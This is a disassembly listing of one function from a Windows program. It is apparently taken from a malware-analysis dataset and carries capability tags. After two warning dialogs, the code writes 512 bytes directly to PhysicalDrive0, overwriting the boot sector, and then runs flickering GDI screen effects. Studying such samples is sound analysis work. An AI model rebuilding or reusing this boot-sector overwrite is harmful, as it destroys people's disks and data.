Function at 0x140001850
Capabilities:
Capture screenshot
Create thread
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x318]
sub rsp, 0x3f0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140023010]
xor rax, rsp
mov qword [rbp + 0x250], rax
mov r9d, 0x34
lea r8, str.WARNING
lea rdx, str.This_is_malware._Do_you_want_to_really_Execute_it_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x140002260
lea r9d, [rax + 0x2e]
xor ecx, ecx
lea r8, str.WARNING
lea rdx, str.THIS_IS_THE_LAST_WARNING__DO_YOU_WANT_TO_REALLY_
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
je 0x140002260
lea rcx, [fcn.1400017a0]
call fcn.140002c44
lea rax, [rbp + 0x50]
mov edx, 4
lea rcx, [0x14001edb0]
nop
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1400018f0
xor edi, edi
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400019a0
lea r9, [rbp]
mov qword [rsp + 0x20], rdi
mov r8d, 0x200
lea rdx, [rbp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
test eax, eax
jne 0x1400019aa
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140002262
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov dword [rbp + 0x10], 1
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x18], rdi
lea rcx, [rbp + 8]
mov qword [rbp + 0x20], rdi
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
xor ecx, ecx
call fcn.140009ec8
mov rcx, rax
call fcn.140009eb0
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov qword [rbp - 0x80], rax
mov r15, rax
call qword [sym.imp.USER32.dll_GetDC]
xor ecx, ecx
mov qword [rsp + 0x78], rax
mov r14, rax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov dword [rsp + 0x68], eax
mov esi, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edx, 0x7f01
xor ecx, ecx
mov r13d, eax
call qword [sym.imp.USER32.dll_LoadIconW]
mov r12, rax
mov qword [rbp - 0x78], rax
call fcn.140009f8c
mov ecx, 0x10
movd xmm6, eax
cvtdq2pd xmm6, xmm6
call fcn.1400029d0
lea rcx, [rbp - 0x70]
mov r9, rax
lea r8, [0x1400028f0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [0x140002310]
mov qword [rax + 8], rcx
lea rcx, [rbp - 8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call fcn.14000a128
mov qword [rbp - 0x10], rax
test rax, rax
je 0x140002297
call fcn.140009f8c
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm0, xmm6
cvttsd2si eax, xmm0
cmp eax, 0x2710
jge 0x140001bc3
lea rdx, [rbp - 0x60]
mov rcx, r15
call qword [sym.imp.USER32.dll_GetClientRect]
call fcn.140009e84
cdq
idiv dword [rbp - 0x54]
mov ebx, edx
call fcn.140009e84
cdq
mov r9, r12
idiv dword [rbp - 0x58]
mov r8d, ebx
mov rcx, r14
call qword [sym.imp.USER32.dll_DrawIcon]
call fcn.140009e84
mov ebx, eax
mov eax, 0x28c1979
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xc9
sub ebx, eax
call fcn.140009e84
mov ecx, eax
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], edi
lea r8d, [rbx - 0x64]
mov eax, 0x28c1979
mov dword [rsp + 0x30], edi
imul ecx
mov qword [rsp + 0x28], r14
mov r9d, esi
sar edx, 1
mov eax, edx
mov dword [rsp + 0x20], r13d
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xc9
sub ecx, eax
lea edx, [rcx - 0x64]
mov rcx, r14
call qword [sym.imp.GDI32.dll_BitBlt]
call fcn.1400038fc
mov rbx, rax
call fcn.1400038e0
cmp rbx, 0x989680
jne 0x140001b5a
imul rax, rax, 0x64
jmp 0x140001b75
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffffffffff9b
cmp rax, rcx
jge 0x140001b8a
add rax, 0x64
jmp 0x140001b94
movabs rax, 0x7fffffffffffffff
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
call fcn.1400027c0
call fcn.140009f8c
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm0, xmm6
cvttsd2si eax, xmm0
cmp eax, 0x2710
jl 0x140001aa3
cmp dword [rbp - 8], edi
je 0x140002301
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 8], eax
je 0x1400022f6
movaps xmm0, xmmword [rbp - 0x10]
lea rcx, [rbp - 0x60]
xor edx, edx
movdqa xmmword [rbp - 0x60], xmm0
call fcn.1400047ac
test eax, eax
jne 0x1400022eb
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x10], xmm0
call fcn.140009e84
cdq
idiv r13d
mov edi, edx
call fcn.140009e84
cdq
mov ecx, 0x30
idiv esi
mov ebx, edx
call fcn.1400029d0
lea rcx, [0x140001570]
mov r9, rax
lea r8, [0x140002920]
xor edx, edx
mov qword [rax + 0x28], rcx
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rax + 4], ebx
xor ebx, ebx
mov dword [rax], edi
mov dword [rax + 8], r13d
mov dword [rax + 0xc], esi
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r15
mov dword [rsp + 0x20], ebx
call fcn.14000a128
mov qword [rbp - 0x20], rax
test rax, rax
je 0x1400022dd
lea ecx, [rbx + 0x10]
call fcn.1400029d0
lea rcx, [rbp - 0x70]
mov r9, rax
lea r8, [0x1400028f0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [0x1400024e0]
mov qword [rax + 8], rcx
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call fcn.14000a128
mov qword [rbp - 0x30], rax
test rax, rax
je 0x1400022cf
call fcn.140009f8c
call fcn.140009e84
cdq
idiv r13d
mov edi, edx
call fcn.140009e84
cdq
mov ecx, 0x10
idiv esi
mov ebx, edx
call fcn.1400029d0
lea rcx, [0x140001430]
mov r9, rax
lea r8, [0x140002970]
xor edx, edx
mov qword [rax + 8], rcx
lea rcx, [rbp - 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rax], edi
mov dword [rax + 4], ebx
mov dword [rsp + 0x20], 0
call fcn.14000a128
mov qword [rbp - 0x40], rax
test rax, rax
je 0x1400022bd
cmp dword [rbp - 0x28], 0
je 0x140002301
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 0x28], eax
je 0x1400022f6
movaps xmm0, xmmword [rbp - 0x30]
lea rcx, [rbp - 0x60]
xor edx, edx
movdqa xmmword [rbp - 0x60], xmm0
call fcn.1400047ac
test eax, eax
jne 0x1400022eb
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x30], xmm0
cmp dword [rbp - 0x38], eax
je 0x140002301
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 0x38], eax
je 0x1400022f6
movaps xmm0, xmmword [rbp - 0x40]
lea rcx, [rbp - 0x60]
xor edx, edx
movdqa xmmword [rbp - 0x60], xmm0
call fcn.1400047ac
test eax, eax
jne 0x1400022eb
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x40], xmm0
cmp dword [rbp - 0x18], eax
je 0x140002301
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 0x18], eax
je 0x1400022f6
movaps xmm0, xmmword [rbp - 0x20]
lea rcx, [rbp - 0x60]
xor edx, edx
movdqa xmmword [rbp - 0x60], xmm0
call fcn.1400047ac
test eax, eax
jne 0x1400022eb
xorps xmm0, xmm0
lea ecx, [rax + 0x10]
movdqa xmmword [rbp - 0x20], xmm0
call fcn.1400029d0
lea rcx, [rbp - 0x70]
mov r9, rax
lea r8, [0x1400028f0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [0x140002660]
mov qword [rax + 8], rcx
lea rcx, [rbp - 0x48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call fcn.14000a128
mov qword [rbp - 0x50], rax
test rax, rax
je 0x1400022ab
movaps xmmword [rsp + 0x3b0], xmm9
call fcn.140009f8c
movd xmm9, eax
cvtdq2pd xmm9, xmm9
call fcn.140009f8c
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm0, xmm9
cvttsd2si eax, xmm0
cmp eax, 0x2710
jge 0x1400021d9
movaps xmmword [rsp + 0x3d0], xmm7
movsd xmm7, qword [0x14001ed60]
movaps xmmword [rsp + 0x3c0], xmm8
movsd xmm8, qword [0x14001ed80]
movaps xmmword [rsp + 0x3a0], xmm10
movsd xmm10, qword [0x14001ed88]
movaps xmmword [rsp + 0x390], xmm11
movsd xmm11, qword [0x14001eda0]
movaps xmmword [rsp + 0x380], xmm12
movsd xmm12, qword [0x14001ed58]
movaps xmmword [rsp + 0x370], xmm13
movsd xmm13, qword [0x14001ed68]
movaps xmmword [rsp + 0x360], xmm14
movsd xmm14, qword [0x14001ed78]
mov dword [rsp + 0x60], 0xa0000
mov ebx, dword [rsp + 0x60]
nop dword [rax]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov r15, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r8d, r13d
mov edx, esi
mov rcx, r15
mov r14, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdx, rax
mov rcx, r14
mov r12, rax
call qword [sym.imp.GDI32.dll_SelectObject]
xor esi, esi
mov qword [rsp + 0x70], rax
test r13d, r13d
jle 0x140001ff0
mov ebx, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xorps xmm0, xmm0
movd xmm6, esi
mov ecx, eax
cvtdq2pd xmm6, xmm6
cvtsi2sd xmm0, rcx
divsd xmm0, xmm10
mulsd xmm0, xmm11
addsd xmm6, xmm0
mulsd xmm6, xmm12
movaps xmm0, xmm6
addsd xmm0, xmm13
call fcn.140014170
addsd xmm0, xmm7
mulsd xmm0, xmm8
cvttsd2si eax, xmm0
movaps xmm0, xmm6
movzx edi, al
addsd xmm0, xmm14
shl edi, 8
call fcn.140014170
addsd xmm0, xmm7
mulsd xmm0, xmm8
cvttsd2si eax, xmm0
movaps xmm0, xmm6
movzx edx, al
shl edx, 0x10
or edi, edx
call fcn.140014170
addsd xmm0, xmm7
mulsd xmm0, xmm8
cvttsd2si eax, xmm0
movzx ecx, al
or ecx, edi
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov dword [rbp - 0x5c], esi
lea rdx, [rbp - 0x60]
inc esi
mov dword [rbp - 0x60], 0
mov r8, rax
mov dword [rbp - 0x54], esi
mov rcx, r14
mov dword [rbp - 0x58], ebx
mov rdi, rax
call qword [sym.imp.USER32.dll_FillRect]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
cmp esi, r13d
jl 0x140001f28
mov ebx, dword [rsp + 0x60]
lea r8, [rbp + 0x28]
mov edx, 0x20
mov rcx, r12
call qword [sym.imp.GDI32.dll_GetObjectW]
mov ecx, dword [rbp + 0x30]
mov eax, r13d
mov r9d, dword [rbp + 0x2c]
sub eax, ecx
mov dword [rsp + 0x50], ebx
cdq
mov dword [rsp + 0x48], ecx
sub eax, edx
mov dword [rsp + 0x40], r9d
xor edx, edx
sar eax, 1
mov dword [rsp + 0x38], eax
mov r8d, eax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], ecx
mov rcx, r15
call qword [sym.imp.MSIMG32.dll_AlphaBlend]
mov rdx, qword [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140009e84
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
cmp r8d, ecx
jne 0x140002120
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetTopWindow]
mov r14, rax
test rax, rax
je 0x140002120
mov rcx, r14
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x14000210a
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov edi, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
call fcn.140009e84
cdq
idiv edi
mov edi, edx
call fcn.140009e84
cdq
mov dword [rsp + 0x30], 5
idiv esi
xor eax, eax
mov r8d, edi
mov r9d, edx
mov dword [rsp + 0x28], eax
xor edx, edx
mov dword [rsp + 0x20], eax
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowPos]
mov edx, 2
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindow]
mov r14, rax
test rax, rax
jne 0x1400020b1
call fcn.1400038fc
mov rdi, rax
call fcn.1400038e0
cmp rdi, 0x989680
jne 0x14000213c
imul rax, rax, 0x64
jmp 0x14000215a
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], rax
call fcn.1400027c0
call fcn.140009f8c
mov esi, dword [rsp + 0x68]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm0, xmm9
cvttsd2si eax, xmm0
cmp eax, 0x2710
jl 0x140001ee0
movaps xmm14, xmmword [rsp + 0x360]
movaps xmm13, xmmword [rsp + 0x370]
movaps xmm12, xmmword [rsp + 0x380]
movaps xmm11, xmmword [rsp + 0x390]
movaps xmm10, xmmword [rsp + 0x3a0]
movaps xmm8, xmmword [rsp + 0x3c0]
movaps xmm7, xmmword [rsp + 0x3d0]
mov r14, qword [rsp + 0x78]
mov r15, qword [rbp - 0x80]
mov r12, qword [rbp - 0x78]
cmp dword [rbp - 0x48], 0
movaps xmm9, xmmword [rsp + 0x3b0]
je 0x140002301
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 0x48], eax
je 0x1400022f6
movaps xmm0, xmmword [rbp - 0x50]
lea rcx, [rbp - 0x60]
xor edx, edx
movdqa xmmword [rbp - 0x60], xmm0
call fcn.1400047ac
test eax, eax
jne 0x1400022eb
xorps xmm0, xmm0
mov rcx, r12
movdqa xmmword [rbp - 0x50], xmm0
call qword [sym.imp.USER32.dll_DestroyIcon]
mov rdx, r14
mov rcx, r15
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, qword [rbp + 8]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
call fcn.1400017a0
cmp dword [rbp - 0x48], 0
jne 0x1400022a5
cmp dword [rbp - 0x38], 0
jne 0x1400022a5
cmp dword [rbp - 0x28], 0
jne 0x1400022a5
cmp dword [rbp - 0x18], 0
jne 0x1400022a5
cmp dword [rbp - 8], 0
jne 0x1400022a5
xor eax, eax
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.1400029b0
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 6
mov dword [rbp - 8], edi
call fcn.1400043a0
int3
call fcn.14000a208
int3
mov ecx, 6
mov dword [rbp - 0x48], 0
call fcn.1400043a0
int3
mov ecx, 6
mov dword [rbp - 0x38], 0
call fcn.1400043a0
int3
mov ecx, 6
mov dword [rbp - 0x28], ebx
call fcn.1400043a0
int3
mov ecx, 6
mov dword [rbp - 0x18], ebx
call fcn.1400043a0
int3
mov ecx, 2
call fcn.1400043a0
int3
mov ecx, 5
call fcn.1400043a0
int3
mov ecx, 1
call fcn.1400043a0
int3